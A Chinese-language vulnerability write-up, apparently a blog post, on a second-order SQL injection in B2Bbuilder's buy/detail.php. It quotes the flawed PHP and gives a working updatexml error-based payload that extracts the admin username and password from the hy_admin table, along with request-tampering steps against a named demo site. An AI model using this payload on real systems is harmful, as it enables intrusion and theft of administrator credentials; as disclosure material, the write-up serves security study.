B2Bbuilder最新版SQL注入

module/buy/detail.php存在如下代码:

<?php
include_once("$config[webroot]/module/buy/includes/buy_class.php");
//===================================================
//报价提交
if(!empty($_POST['ajax']))
{
	$id=$_POST['id']*1;
	if(empty($buid))
		exit('uid');//未登录
	if($id)
	{
		$db->query('select valid_time from '.BUY.' where id='.$id.' limit 1');
		$valid_time=$db->fetchField('valid_time');
		$num=(strtotime(date($valid_time))+24*60*60)-time();
		if($num<0)
			exit('timeout'); //报价结束
		$db->query('select count(*) as num from '.BUY.' where id='.$id.' limit 1');
		$num=$db->fetchField('num');
		if(empty($num))
			exit('nobuy'); //求购已经删除
		$db->query('select count(*) as num from '.BUYQPRO.' where buy_id='.$id.' and seller_id='.$buid.' limit 1');
		$num1=$db->fetchField('num');
		if($num1)
			exit('es'); //已经报价了
		//----------------------
		foreach($_POST['pname'] as $key=>$v)
		{
			$con[]=array($v,$_POST['number'][$key],$_POST['unit'][$key],$_POST['price'][$key],$_POST['bprice'][$key]);
		}
		$con=serialize($con);
		$flag=$db->query("insert into  ".BUYQPRO."(buy_id,seller_id,con)  values('$id','$buid','$con')");
		//--------------------插入消息提示
		if($flag)
		{
			$db->query('select userid,title from '.BUY.' where id='.$id.' limit 1');//这里取出了title
			$re=$db->fetchRow();
			$userid=$re['userid'];
			$title=$re['title'];//求购名称
			$fromInfo=NULL;
			$date=date("Y-m-d H:i");
			$sql="insert into ".FEEDBACK."
				  (touserid,sub,con,date,msgtype)
				  VALUES
				  ('$userid','您求购的[$title]有新报价','<a href=\"main.php?m=buy&s=admin_buy_list&id=$id\">点此查看</a>','$date','3')";//这里带入了title
			$res=$db->query($sql);
		}
		if($flag)
		exit('ok');	//报价成功
	}
	exit('error');	//未知错误
}

可以看到:

$db->query('select userid,title from '.BUY.' where id='.$id.' limit 1');//这里取出了title
('$userid','您求购的[$title]有新报价','<a href=\"main.php?m=buy&s=admin_buy_list&id=$id\">点此查看</a>','$date','3')";//这里带入了title,没有过滤

于是我们在后台发布:

http://democn.b2b-builder.com/main.php?m=buy&s=admin_buy

title写入:' or updatexml(1,concat(1,(SELECT concat(user,0x23,password) FROM `hy_admin` limit 1)),1) or '

1
这里提交就写入了title
之后发现尼玛没有审核……不能够报价……
2
然后随便找一个可以报价的:
3
抓包并修改ID为自己的:
4
然后不提交,扔到repeater(也可以直接forward然后抓返回包~)
5

发表评论